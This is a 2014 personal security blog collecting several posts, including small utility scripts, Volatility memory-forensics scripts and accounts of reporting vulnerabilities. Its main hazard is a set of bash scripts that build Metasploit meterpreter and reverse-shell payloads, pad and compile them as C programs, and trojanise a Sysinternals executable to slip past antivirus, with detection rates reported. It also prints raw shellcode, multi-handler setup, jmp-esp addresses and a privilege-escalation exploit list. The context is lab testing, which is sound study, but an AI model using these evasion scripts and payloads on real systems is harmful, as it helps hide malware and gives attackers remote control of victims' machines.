Wednesday, December 24, 2014

Extract IP Address from File Reading Line by Line (Python)

I needed to extract an IP Address from each line inside of a file and kicked out the following script:

#!/usr/bin/python
# Extract IP Addresses

import re
file = open("temp.log")

for line in file:
        ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', line )
        print ip

Tuesday, December 23, 2014

Using bash script to copy folder paths and file names with spaces

Recently I had to write a script that would copy a list of folders and files with spaces in the names to an alternate location.  I found that you do not need to escape the special characters in the list if you place quotes around the variable called from the list in a loop.

#!/bin/bash

while read -r line  # Needs the -r variable
do

        cp "$line" /tmp/files/.  # Place quotes around the variable called in the loop

done < '/tmp/list.txt'


I wanted to document this because of the 30 minutes I lost in my life trying to figure out the nuances around this.

Monday, November 24, 2014

bash script built on technique to bypass AV v2

This script has been improved and is located at this blog post.

I took the previous script that I created and spent some time adding additional padding and moving the meterpreter portion of the c code to a variable inside of the main function.

With these few modifications I was able to achieve the following results as I uploaded them to virustotal.com.

The sample at the top of the screen is using version 1 of the below script.  With the below script the detection rate decreases to 2-4 anti-viruses detecting them out of an average of 55.

The below script is what I used to generate the exe files...

#!/bin/bash
#

# Log file where how the payload was created and the filename of the payload
logFile='/root/bypassAV/logFile.txt'

# Bash script to test payloads created with msfvenom and using a c program to hide against AVG 2015
# Platform: Windows XP SP3
# AV Installed: AVG 2015 Free

# Using the following msfvenom options
# Payload: windows/meterpreter/reverse_tcp
# LHOST: 172.27.66.1
# LPORT: 8080
# Bad Characters: \x00 \xff
# Encoder: x86/shikata_ga_nai
# Iterations: 3
# Output format: C

# Create some padding to be compiled in the C program
function generatePadding {

    counter=0
    randomNumber=$((RANDOM%200+5))
    #echo $randomNumber
    while [  $counter -lt $randomNumber ]; do
        echo "" >> /root/bypassAV/prog.c
        randomCharname=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c 12`
        randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c 2048`
        echo "unsigned char ${randomCharname}[]=\"$randomPadding\";" >> /root/bypassAV/prog.c
        let counter=counter+1
    done
}

# Check to see if the drive is mounted on the test platform
if [[ ! -f "/mnt/payloadTest/mounted.txt" ]]; then
    mount -t cifs //172.27.66.130/share /mnt/payloadTest -o "username=malware,password=malware"
fi

# Until the prog.exe is compiled successfully loop until it is
while [ ! -f /root/bypassAV/outputFiles/prog.exe ]; do

    # Generate 2048 characters of random awesomeness for padding
    randomFilename=`cat /dev/urandom | tr -dc 'a-zA-Z' | head -c 12`
    randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c 2048`
    echo "unsigned char ${randomFilename}[]=\"$randomPadding\";" > /root/bypassAV/prog.c
   
    generatePadding

    echo "" >> /root/bypassAV/prog.c
    echo "int main(void)" >> /root/bypassAV/prog.c
    echo "{" >> /root/bypassAV/prog.c
   
    generatePadding
   
    echo "" >> /root/bypassAV/prog.c
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.27.66.1 LPORT=8085 -b "\x00\xff" -e x86/shikata_ga_nai -i 3 -f c >> /root/bypassAV/prog.c

    generatePadding

    echo "" >> /root/bypassAV/prog.c
    echo "((void (*)())buf)();" >> /root/bypassAV/prog.c
    echo "" >> /root/bypassAV/prog.c
    echo "}" >> /root/bypassAV/prog.c

    cat /root/bypassAV/prog.c | sed 's/buf/yiopl/g' > /root/bypassAV/prog.c.temp
    mv -f /root/bypassAV/prog.c.temp /root/bypassAV/prog.c
    i586-mingw32msvc-gcc -o /root/bypassAV/outputFiles/prog.exe /root/bypassAV/prog.c
done

# If the prog.exe fails to be created then skip over the remaining commands
if [[ -f "/root/bypassAV/outputFiles/prog.exe" ]]; then

    # Create a random 64 character filename to use as the destination file
    randomFileName=`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1`

    # Save the information to a log file in the event the file bypasses the AV
    echo "${randomFileName}.exe - msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.27.66.1 LPORT=8085 -b \"\x00\xff\" -e x86/shikata_ga_nai -i 3 -f c" >> $logFile

    cp -f /root/bypassAV/outputFiles/prog.exe /mnt/payloadTest/${randomFileName}.exe
    cp -f /root/bypassAV/outputFiles/prog.exe /root/bypassAV/archiveFiles/${randomFileName}.exe
    rm -f /root/bypassAV/outputFiles/prog.exe

fi
# End If for the prog.exe file not being created


Also in researching other techniques I found the below web page:
https://www.pentestgeek.com/2014/07/15/bypassing-antivirus-crypter-cff-explorer/


Sunday, November 23, 2014

bash script built on technique to bypass AV

I found the following web page in my research about metasploit encoding and bypassing the AV.

https://www.christophertruncer.com/bypass-antivirus-with-meterpreter-as-the-payload-hyperion-fun/

From the article I created the following bash script to automate the creation of the .exe file that can be copied to the Windows XP SP3 through a file share to test AVG 2015.  Fortunately or unfortunately this technique does bypass the AVG 2015 Free, so far 3/3 100% success rate.  Virustotal came back with 15 AVs detecting the files as malware.

This script has been improved and is located at this blog post.

 #!/bin/bash
#

# Log file where how the payload was created and the filename of the payload
logFile='/root/bypassAV/logFile.txt'

# Bash script to test payloads created with msfvenom and using a c program to hide against AVG 2015
# Platform: Windows XP SP3
# AV Installed: AVG 2015 Free

# Using the following msfvenom options
# Payload: windows/meterpreter/reverse_tcp
# LHOST: 172.24.118.1
# LPORT: 8080
# Bad Characters: \x00 \xff
# Encoder: x86/shikata_ga_nai
# Iterations: 3
# Output format: C

# Check to see if the drive is mounted on the test platform
if [[ ! -f "/mnt/payloadTest/mounted.txt" ]]; then
    mount -t cifs //172.24.118.130/share /mnt/payloadTest -o "username=malware,password=malware"
fi

# Until the prog.exe is compiled successfully loop until it is
while [ ! -f /root/bypassAV/outputFiles/prog.exe ]; do

    # Generate 2048 characters of random awesomeness for padding
    randomPadding=`cat /dev/urandom | tr -dc '_a-zA-Z0-9' | head -c 2048`
    echo "unsigned char padding[]=\"$randomPadding\";" > /root/bypassAV/prog.c
    echo "" >> /root/bypassAV/prog.c
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.24.118.1 LPORT=8085 -b "\x00\xff" -e x86/shikata_ga_nai -i 3 -f c >> /root/bypassAV/prog.c
    echo "" >> /root/bypassAV/prog.c
    echo "int main(void) { ((void (*)())buf)();}" >> /root/bypassAV/prog.c

    # Using mingw on Kali Linux to compile the executable
    i586-mingw32msvc-gcc -o /root/bypassAV/outputFiles/prog.exe /root/bypassAV/prog.c
done
  
# If the prog.exe fails to be created then skip over the remaining commands
if [[ -f "/root/bypassAV/outputFiles/prog.exe" ]]; then

    # Create a random 64 character filename to use as the destination file
    randomFileName=`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1`

    # Save the information to a log file in the event the file bypasses the AV
    echo "${randomFileName}.exe - msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.24.118.1 LPORT=8085 -b \"\x00\xff\" -e x86/shikata_ga_nai -i 3 -f c" >> $logFile

    cp -f /root/bypassAV/outputFiles/prog.exe /mnt/payloadTest/${randomFileName}.exe
    cp -f /root/bypassAV/outputFiles/prog.exe /root/bypassAV/archiveFiles/${randomFileName}.exe
    rm -f /root/bypassAV/outputFiles/prog.exe

fi
# End If for the prog.exe file not being created





msfencode bash script - Test encoding with up to 5 iterations

I was reading in the book "Metasploit - A Penetration Tester's Guide" about encoding the payload and also multi-encoding the payload so I wanted to create a bash script to go through all the possibilities of the encoders with up to 5 iterations.  Then in the script copy it over to a file share on a Windows XP SP3 computer with AVG installed.  The AVG would then detect if it was a virus.

Curious how this would work and kicked out the following script. 

#!/bin/bash
#
# File that contains the encoders that are available to msfencode
listEncoders='/root/multiEncoder/msfencode.listEncoders'

# Folder where the SYS Internals Suite EXE files are located
exeFiles='/root/multiEncoder/sysInternals/exe/'

# Log file where how the payload was created and the filename of the payload
logFile='/root/multiEncoder/logFile.txt'

# Number of iterations to run the encoding through
iterationCount=5

# Bash script to create various payloads that are multi-encoded and test them against AVG 2015
# Platform: Windows XP SP3
# AV Installed: AVG 2015 Free

# Using the following msfpayload options
# Payload: windows/shell_reverse_tcp
# LHOST: 172.29.231.1
# LPORT: 8080

# Check to see if the drive is mounted on the test platform
if [[ ! -f "/mnt/payloadTest/mounted.txt" ]]; then
    mount -t cifs //172.29.231.130/share /mnt/payloadTest -o "username=malware,password=malware"
fi

# Loop through the available encoders in msfencode.listEncoders
while read listEncoders
do
    # Work through various iteractions allowed for the encoding
    for (( i=2; i<=$iterationCount; i++ ))
    do
        msfpayload windows/shell_reverse_tcp LHOST=172.29.231.1 LPORT=8080 R | msfencode -t exe -x /root/multiEncoder/sysInternals/exe/procexp.exe -o /root/multiEncoder/outputFiles/test.exe -e ${listEncoders} -c ${i} -k
   
        # If the test.exe fails to be created then skip over the remaining commands
        if [[ -f "/root/multiEncoder/outputFiles/test.exe" ]]; then

            # Create a random 64 character filename to use as the destination file
            randomFileName=`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1`

            # Save the information to a log file in the event the encoding bypasses the AV
            echo "${randomFileName}.exe - msfpayload windows/shell_reverse_tcp LHOST=172.29.231.1 LPORT=8080 R | msfencode -t exe -x /root/multiEncoder/sysInternals/exe/procexp.exe -o /root/multiEncoder/outputFiles/test.exe -e ${listEncoders} -c ${i} -k" >> $logFile

            cp -f /root/multiEncoder/outputFiles/test.exe /mnt/payloadTest/${randomFileName}.exe
            cp -f /root/multiEncoder/outputFiles/test.exe /root/multiEncoder/archiveFiles/${randomFileName}.exe
            rm -f /root/multiEncoder/outputFiles/test.exe

        fi
        # End If for the text.exe file not being created
    done
    # Done for the loop on the iteractionCount

done < /root/multiEncoder/msfencode.listEncoders

Saturday, November 22, 2014

Notes about Windows Privilege Escalation

I need to research and understand windows privilege escalation better so this is the beginning of the journey.

Links to a couple of web pages that I have found to be great:
http://pentestmonkey.net/tools/windows-privesc-check
http://www.fuzzysecurity.com/tutorials/16.html
http://www.fuzzysecurity.com/tutorials/18.html
http://www.slideshare.net/harmj0y/power-up-34515686

accesschk.exe from the SYS Internals Suite

Evaluating closer the Windows Privilege Escalation python script I was curious how the latest windows patches were discovered and scrubbed against metasploit.  Found that the following link takes you to an Excel spreadsheet containing all of the windows security bulletins:

http://www.microsoft.com/en-us/download/details.aspx?id=36982

From fuzzysecurity.com I extracted some of the privilege escalation KB numbers...
KiTrap0D - KB979682
MS10-021 - KB979683
MS10-059 - KB982799
MS11-011 - KB2393802
MS11-080 - KB2592799

Pulled from metasploit the local exploits that can be run:
--------------------------------------------------------

exploit/windows/local/always_install_elevated - excellent  Windows AlwaysInstallElevated MSI

exploit/windows/local/bypassuac_injection - excellent  Windows Escalate UAC Protection Bypass (In Memory Injection)

exploit/windows/local/ms10_015_kitrap0d - great Windows SYSTEM Escalation via KiTrap0D

exploit/windows/local/ms10_092_schelevator - excellent  Windows Escalate Task Scheduler XML Privilege Escalation

exploit/windows/local/ms11_080_afdjoinleaf - average    MS11-080 AfdJoinLeaf Privilege Escalation

exploit/windows/local/ms13_005_hwnd_broadcast - excellent  MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation

exploit/windows/local/ms13_053_schlamperei - average Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)

exploit/windows/local/ms13_081_track_popup_menu - average    Windows TrackPopupMenuEx Win32k NULL Page

exploit/windows/local/ms13_097_ie_registry_symlink - great MS13-097 Registry Symlink IE Sandbox Escape

exploit/windows/local/ms14_009_ie_dfsvc - great MS14-009 .NET Deployment Service IE Sandbox Escape

exploit/windows/local/ms_ndproxy - average    MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation

exploit/windows/local/ppr_flatten_rec - average    Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation

exploit/windows/local/trusted_service_path - excellent  Windows Service Trusted Path Privilege Escalation

exploit/windows/local/virtual_box_guest_additions - average    VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation

post/windows/escalate - Also look at these post exploitation modules...


Pulled from the exploitdb files.csv list on Kali Linux the following:
-----------------------------------------------------------------
root@p9jer5:/usr/share/exploitdb# cat files.csv | grep -e "MS0" -e "MS1" | grep -i -e "escala" -e "elevation"

350,platforms/windows/local/350.c,"MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)",2004-07-14,"Cesar Cerrudo",windows,local,0
351,platforms/windows/local/351.c,"MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)",2004-07-17,bkbll,windows,local,0
1198,platforms/windows/local/1198.c,"MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)",2005-09-06,eyas,windows,local,0
1407,platforms/windows/local/1407.c,"MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)",2006-01-05,SoBeIt,windows,local,0
1911,platforms/windows/local/1911.c,"MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)",2006-06-14,"Ruben Santamarta ",windows,local,0
2412,platforms/windows/local/2412.c,"MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)",2006-09-21,SoBeIt,windows,local,0
3688,platforms/windows/local/3688.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017)",2007-04-08,Ivanlef0u,windows,local,0
3755,platforms/windows/local/3755.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2",2007-04-17,"Lionel d'Hauenens",windows,local,0
3804,platforms/windows/remote/3804.txt,"MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)",2007-04-26,"Lionel d'Hauenens",windows,remote,0
5518,platforms/windows/local/5518.txt,"MS Windows XP SP2 (win32k.sys) Privilege Escalation Exploit (MS08-025)",2008-04-28,"Ruben Santamarta ",windows,local,0
14611,platforms/windows/dos/14611.c,"Microsoft Windows 'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability (MS10-048)",2010-08-10,MJ0011,windows,dos,0
18176,platforms/windows/local/18176.py,"Windows Afd.sys - Privilege Escalation Exploit (MS11-080)",2011-11-30,ryujin,windows,local,0
21844,platforms/windows/local/21844.rb,"MS11-080 AfdJoinLeaf Privilege Escalation",2012-10-10,metasploit,windows,local,0
27296,platforms/windows/local/27296.rb,"MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation",2013-08-02,metasploit,windows,local,0

Notes created for Immunity Debugger

Notes about generating a payload for a python script, setting up a multi-handler, and using a multi-handler to then exploit and gain a meterpreter shell.

Generate Meterpreter Reverse TCP with the multi-handler listening
-----------------------------------------------------------------
use payload/windows/meterpreter/reverse_ord_tcp
set lhost 172.31.99.1
set lport 4444

generate -b '\x00\x0a\x0d\x20' -t python
- This generates a payload without the hex characters following the b in the language of python.

buf =  ""
buf += "\xda\xc1\xd9\x74\x24\xf4\xb8\xec\x27\x13\x24\x5b\x33"
buf += "\xc9\xb1\x18\x31\x43\x18\x83\xeb\xfc\x03\x43\xf8\xc5"
buf += "\xe6\xd8\x31\xd1\x6d\xaa\x72\xd5\xe6\xec\x78\x9e\xa9"
buf += "\xf0\x0b\xb2\xc2\x7b\x2b\x1e\x79\x35\x28\x66\xbf\xf8"
buf += "\x1d\x39\x8d\x89\x8e\x4e\x9b\x79\xdb\x14\x60\xf1\x97"
buf += "\x93\xe0\x8e\x6b\x91\x0c\x90\x9a\x22\x6d\xca\x5d\xdd"
buf += "\xe5\x9b\x61\x1c\x14\x58\xf0\x12\xbb\x35\x03\x41\x39"
buf += "\x35\xd3\x02\x55\x65\xc3\x4a\xa7\x1d\xe1\x92\xb6\x81"
buf += "\x6c\x73\xeb\x8e\x62\x27\x5d\xa6\x2b\xad\x4d\x19\x9c"
buf += "\x67\x91\x7c"

use exploit/multi/handler
set payload windows/meterpreter/reverse_ord_tcp
set lhost 172.31.99.1

*** With the Immunity Debugger we need to find memory addresses that have "jmp esp" instructions.

1. Load or attach the FTP server with Immunity Debugger
2. Click the shortcut of "e" to load the Modules menu of all of the .dll's that are running
3. Double click on one of them not related to the FTP server
4. Right-click go to Search for ... "All commands in all modules"
5. Key in the instruction that you are searching for "jmp esp"
6. It then returns a list of "jmp esp" instructions and associated memory addresses...
Windows XP w/ SP3 - MFC42.dll 0x73E32ECF
Windows XP w/ SP3 - WINMM.dll 0x76B43ADC
Windows XP w/ SP3 - ADVAPI32.dll 0x77DEF049

Wednesday, November 5, 2014

Experiences of Reporting Vulnerabilities

I thought I would take a moment and memorialize a few experiences with reporting vulnerabilities to companies.  With the below information I am going to keep the companies anonymous.  The below vulnerabilities discussed have been mitigated by the companies in which they were reported too.  I am going too share the good, bad, and ugly ways in which companies handled these reports.

The first experience was contacting a company that publishes content and allows this content to be accessed by their respective customers.  The vulnerability existed in the security between their customers and the content that could be accessed.  With manipulating the URL with an authenticated user you could view other customers content and then it was discovered that without being authenticated you could view this information.  Upon contacting the company directly and working with them, they were appreciative that I reached out to them and I even received a courtesy call from the president of the company expressing his appreciation.

The second experience was working with a company that uses a content delivery network (CDN) to deliver the content, however as they transferred from the authenticated initial page to the material in the CDN the session was not maintained and allowed anyone to access the content without being authenticated.  The company came back again with appreciation for identifying this flaw in their platform.

Now to share a couple of experiences that did not turn out to be as positive during the experience of reporting the vulnerabilities.

The third experience was working with a company that had multiple vulnerabilities including a Cross-Site Request Forgery (CSRF) vulnerability which allows an administrator account to be created while another administrator is authenticated.  Upon reporting this to the company they setup a conference call to discuss it.  When the conference call occurred the company was unprepared with the information that I had provided.  They did not openly acknowledge they had an issue.  Then I sent them the proof-of-concept and notes that I had kept.  Then the conversation started over on the conference call.  I could not believe how ignorant they were in preparing for the conference call and how cocky they were until a real vulnerability was identified in their eyes.

The forth experience was after a user authenticated to a platform to view billing information.  Upon manipulating the URL you could easily view other customers billing information.  The first hurdle we ran into was how and where to report this vulnerability.  The only method of contact was through a customer service phone call.  After calling them they were unsure where to direct the call.  They eventually documented the ticket and escalated it.  About a month later I received a phone call from their attorney to clarify the information that was provided and determine the impact on the customers whose billing information was accessed.  He then went on a rant about not doing this and it was illegal what we did.  Being that I was the one whom the vulnerability was reported too and I had not exploited the vulnerability I just listened.  With that stated I could not believe they had no appreciation for finding and reporting this vulnerability, had it gone unreported it could have turned into a larger issue for the company (if it had not already turned into a larger issue).  Then in conversing a little more with their attorney to identify that their website was controlled by a vendor and the vendor did not have the logs that would demonstrate which records were accessed through this vulnerability and were trying to depend on my records of which customers were impacted (which I did not have).  The company did let me know that the vulnerability was mitigated. In my opinion, they have a lot of other issues to work through than the specific vulnerability that was identified.



Sunday, September 14, 2014

Volatility Bash Script v0.4

Here is another version of the volatility bash script.

#!/bin/bash
# Script to collect information by utilizing volatility

# v0.4 - Added a loop to iterate through the plugins
#      - Added svcscan, sockets, sockscan, driverscan, cachedump, timeliner, evtlogs
#      - In hivelist the system file is upper or lower case depending on the profile
#      - Added dlllist for each process
#      - Added getsids for each process
#      - Added handles for each process
#      - Added ldrmodules for each process
#      - Extracting the contents of the registry at Software\Microsoft\Windows\CurrentVersion\Run
# v0.3 - Updated to include mftparser
#      - Added a temp directory
# v0.2 - Updated the DKOM section to include the 3 columns and not just the 1st.

#To come...
#Analyze specific registry keys that aide in an investigation

####  Configurable Settings #############
homeDir='/home/malware-analysis'
memImage="$homeDir/1bc928ac.vmem"
locVolPy='/usr/share/vol2-4/volatility-2.4/vol.py'
volProfile=''
#########################################
date
outputDir="$homeDir/output"
dumpDir="$homeDir/dumpdir"
tempDir="$homeDir/temp"

if [ ! -d $outputDir ]; then
    mkdir $outputDir
    mkdir $outputDir/dlllist
    mkdir $outputDir/getsids
    mkdir $outputDir/handles
    mkdir $outputDir/ldrmodules
    mkdir $dumpDir
    mkdir $tempDir
fi

# Find the profile for the image that is being analyzed and store it in volProfile
python $locVolPy -f $memImage imageinfo > $outputDir/imageinfo
cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print "Identified Profile: " $4}' | sed 's/,//'
volProfile=`cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print $4}' | sed 's/,//'`

# Run a variety of volatility plugins and save the output
for pluginCommand in pslist pstree psscan psxview connections connscan filescan iehistory svcscan cmdscan consoles hivelist sockets sockscan driverscan ssdt cachedump timeliner
do
    echo "Running $pluginCommand and saving results to $outputDir/$pluginCommand"
    python $locVolPy -f $memImage --profile=$volProfile $pluginCommand > $outputDir/$pluginCommand
done

echo "Running evtlogs and saving results to $outputDir/evtlogs"
python $locVolPy -f $memImage --profile=$volProfile evtlogs --dump-dir $outputDir

echo "Find processes in psxview that is using Direct Kernel Object Manipulation (DKOM)"
echo "Display from psxview any processes with "False" in the psscan, pslist, thrdproc"
echo "Find processes in psxview that is using Direct Kernel Object Manipulation (DKOM)" > $outputDir/possibleDKOM
echo "Display from psxview any processes with "False" in the psscan, pslist, thrdproc" >> $outputDir/possibleDKOM
while read line
do
    pslistColumn=`echo $line | awk '{print $4}'`
    psscanColumn=`echo $line | awk '{print $5}'`
    thrdprocColumn=`echo $line | awk '{print $6}'`
    if [ $pslistColumn == 'False' ]; then
        echo "$line" >> $outputDir/possibleDKOM
    fi
    if [ $psscanColumn == 'False' ]; then
        echo "Found: $line" >> $outputDir/possibleDKOM
    fi
    if [ $thrdprocColumn == 'False' ]; then
        echo "Found: $line" >> $outputDir/possibleDKOM
    fi
done < $outputDir/psxview
echo

echo "Running mftparser and saving results to $outputDir/mftpparser"
python $locVolPy -f $memImage --profile=$volProfile mftparser --output=body --output-file=$outputDir/mftparser.csv
mactime -b $outputDir/mftparser.csv -d -z UTC-6 > $outputDir/mftparserMactime.csv

echo "Saving the results of the hashdump to $outputDir/hashdump"
# Find the virtual address of the SYSTEM hive
while read line
do
    if [[ $line == *YSTEM* ]] || [[ $line == *ystem* ]]; then
        systemVAddr=`echo $line | awk '{print $1}'`
    fi
done < $outputDir/hivelist
# Find the virtual address of the SAM hive
while read line
do
    if [[ $line == *SAM* ]]; then
        samVAddr=`echo $line | awk '{print $1}'`
    fi
done < $outputDir/hivelist
python $locVolPy -f $memImage --profile=$volProfile -y $systemVAddr -s $samVAddr hashdump > $outputDir/hashdump

echo "Running malfind and saving results to $outputDir/malfind"
python $locVolPy -f $memImage --profile=$volProfile malfind --dump-dir $dumpDir > $outputDir/malfind

# Export to output/dlllist the PIDs found in the pslist output file
cat $outputDir/pslist | grep -v -e "Offset(V)" -e "------" | awk '{print $3}' > $tempDir/PIDlist
while read line
do
    python $locVolPy -f $memImage --profile=$volProfile dlllist -p $line > $outputDir/dlllist/proc-$line
    python $locVolPy -f $memImage --profile=$volProfile getsids -p $line > $outputDir/getsids/proc-$line
    python $locVolPy -f $memImage --profile=$volProfile handles -p $line > $outputDir/handles/proc-$line
    python $locVolPy -f $memImage --profile=$volProfile ldrmodules -p $line > $outputDir/ldrmodules/proc-$line
done < $tempDir/PIDlist

# With the dlllists look for unique path's
rm -f $tempDir/dlllistPaths
rm -f $tempDir/dlllistCommandline
touch $tempDir/dlllistPaths
touch $tempDir/dlllistCommandline
for file in $outputDir/dlllist/*
do
    cat $file | grep "0x" | awk '{print $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}' >> $tempDir/dlllistPaths
    cat $file | grep "Command line :" >> $tempDir/dlllistCommandline
done
cat $tempDir/dlllistPaths | sort | uniq -c | sort -n | grep -v -i -e "windows.system32" > $outputDir/dlllist-OutsideSystem32
cat $tempDir/dlllistPaths | sort | uniq -c | sort -n | grep "1" > $outputDir/dlllist-SingleInstance
cat $tempDir/dlllistCommandline | sed 's/Command line :" //' > $outputDir/dlllist-Commandline

# With the getsids look for unique sids or something out-of-the-ordinary
rm -f $tempDir/getsids-temp-list
touch $tempDir/getsids-temp-list
for file in $outputDir/getsids/*
do
    cat $file | awk -F ":" '{print $2}' >> $tempDir/getsids-temp-list
done
cat $tempDir/getsids-temp-list | sort | uniq -c | sort -n > $outputDir/getsids-list
cat $outputDir/svcscan | grep "Binary Path: " | sort | uniq -c > $outputDir/svcscan-binarypath

cat $outputDir/ldrmodules/proc-* | grep "0x" | grep "-" > $outputDir/ldrmodules-NoPathInfo
cat $outputDir/ssdt | egrep -v '(ntoskrnl | win32k)' > $outputDir/ssdt-modified

# Extract from the registry specific keys of interest
python $locVolPy -f $memImage --profile=$volProfile printkey -K "Software\Microsoft\Windows\CurrentVersion\Run" > $outputDir/registryRunKeys
#http://digital-forensics.sans.org/blog/2010/10/20/digital-forensics-autorun-registry-keys/
#SysInternals autorun utility


date

echo

Thursday, September 11, 2014

Volatility - Follow-up Analysis Script - Customize the script

You need to customize the following script based on the information gathered from the analysis.

#!/bin/bash
# Script to collect information by utilizing volatility

#### Configurable Options #######

homeDir='/home/volatility/image'
memImage="$homeDir/image.vmem"
locVolPy='/usr/share/volatility/vol.py'
volProfile=''

PID='1384'
dumpFileFilename='malware'  # Dump the file malware.exe

######################################

outputDir="$homeDir/output"
dumpDir="$homeDir/dumpdir"
tempDir="$homeDir/temp"

if [ ! -d $outputDir ]; then
    mkdir $outputDir
    mkdir $dumpDir
    mkdir $tempDir
fi

# Identify the profile found from output/imageinfo
cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print "Identified Profile: " $4}' | sed 's/,//'
volProfile=`cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print $4}' | sed 's/,//'`

# List the dll's associated with a PID
#python $locVolPy -f $memImage --profile=$volProfile dlllist -p $PID > $outputDir/dlllist-$PID

# Dump the file based on filename
#python $locVolPy -f $memImage --profile=$volProfile dumpfiles -r $dumpFileFilename -D $tempDir

# Find the mutants
#python $locVolPy -f $memImage --profile=$volProfile handles -p $PID > $outputDir/handles-$PID



Wednesday, September 10, 2014

Volatility Bash Script - Automate Initial Commands

Wrote a quick volatility script to automate most of the initial commands that I am running.  Enjoy...

#!/bin/bash
# Script to collect information by utilizing volatility

# v0.3 - Updated to include mftparser
#        - Added a temp directory
# v0.2 - Updated the DKOM section to include the 3 columns and not just the 1st.

#To come...
#Analyze specific registry keys that aide in an investigation

####  Configurable Settings #############
homeDir='/home/volatility/image'
memImage="$homeDir/image.vmem"
locVolPy='/usr/share/volatility/vol.py'
volProfile=''
#########################################

outputDir="$homeDir/output"
dumpDir="$homeDir/dumpdir"
tempDir="$homeDir/temp"

if [ ! -d $outputDir ]; then
    mkdir $outputDir
    mkdir $dumpDir
    mkdir $tempDir
fi

# Find the profile for the image that is being analyzed and store it in volProfile
python $locVolPy -f $memImage imageinfo > $outputDir/imageinfo

cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print "Identified Profile: " $4}' | sed 's/,//'
volProfile=`cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print $4}' | sed 's/,//'`


echo "Running pslist and saving results to $outputDir/pslist"
python $locVolPy -f $memImage --profile=$volProfile pslist > $outputDir/pslist
echo "Running pstree and saving results to $outputDir/pstree"
python $locVolPy -f $memImage --profile=$volProfile pstree > $outputDir/pstree
echo "Running psscan and saving results to $outputDir/psscan"
python $locVolPy -f $memImage --profile=$volProfile psscan > $outputDir/psscan
echo "Running psxview and saving results to $outputDir/psxview"
python $locVolPy -f $memImage --profile=$volProfile psxview > $outputDir/psxview

echo "Find processes in psxview that is using Direct Kernel Object Manipulation (DKOM)"
echo "Display from psxview any processes with "False" in the psscan, pslist, thrdproc"
echo "Find processes in psxview that is using Direct Kernel Object Manipulation (DKOM)" > $outputDir/possibleDKOM
echo "Display from psxview any processes with "False" in the psscan, pslist, thrdproc" >> $outputDir/possibleDKOM
while read line
do
    pslistColumn=`echo $line | awk '{print $4}'`
    psscanColumn=`echo $line | awk '{print $5}'`
    thrdprocColumn=`echo $line | awk '{print $6}'`
    if [ $pslistColumn == 'False' ]; then
        echo "Found: $line" >> $outputDir/possibleDKOM
    fi
    if [ $psscanColumn == 'False' ]; then
        echo "Found: $line" >> $outputDir/possibleDKOM
    fi
    if [ $thrdprocColumn == 'False' ]; then
        echo "Found: $line" >> $outputDir/possibleDKOM
    fi
done < $outputDir/psxview
echo

echo "Running connections and saving results to $outputDir/connections"
python $locVolPy -f $memImage --profile=$volProfile connections > $outputDir/connections
echo "Running connscan and saving results to $outputDir/connscan"
python $locVolPy -f $memImage --profile=$volProfile connscan > $outputDir/connscan
echo "Running filescan and saving results to $outputDir/filescan"
python $locVolPy -f $memImage --profile=$volProfile filescan > $outputDir/filescan
echo "Running iehistory and saving results to $outputDir/iehistory"
python $locVolPy -f $memImage --profile=$volProfile iehistory > $outputDir/iehistory
echo "Running cmdscan and saving results to $outputDir/cmdscan"
python $locVolPy -f $memImage --profile=$volProfile cmdscan > $outputDir/cmdscan
echo "Running consoles and saving results to $outputDir/consoles"
python $locVolPy -f $memImage --profile=$volProfile consoles > $outputDir/consoles
echo "Running mftparser and saving results to $outputDir/mftpparser"
python $locVolPy -f $memImage --profile=$volProfile mftparser --output=body --output-file=$outputDir/mftparser.csv
mactime -b $outputDir/mftparser.csv -d -z UTC-6 > $outputDir/mftparserMactime.csv
echo "Running hivelist and saving results to $outputDir/hivelist"
python $locVolPy -f $memImage --profile=$volProfile hivelist > $outputDir/hivelist

echo "Saving the results of the hashdump to $outputDir/hashdump"
# Find the virtual address of the SYSTEM hive
while read line
do
    if [[ $line == *YSTEM* ]]; then
        systemVAddr=`echo $line | awk '{print $1}'`
    fi
done < $outputDir/hivelist
# Find the virtual address of the SAM hive
while read line
do
    if [[ $line == *SAM* ]]; then
        samVAddr=`echo $line | awk '{print $1}'`
    fi
done < $outputDir/hivelist
python $locVolPy -f $memImage --profile=$volProfile -y $systemVAddr -s $samVAddr hashdump > $outputDir/hashdump
# Output the accounts with blank passwords...

echo "Running malfind and saving results to $outputDir/malfind"
python $locVolPy -f $memImage --profile=$volProfile malfind --dump-dir $dumpDir > $outputDir/malfind
echo

Thursday, August 21, 2014

nmap bash script

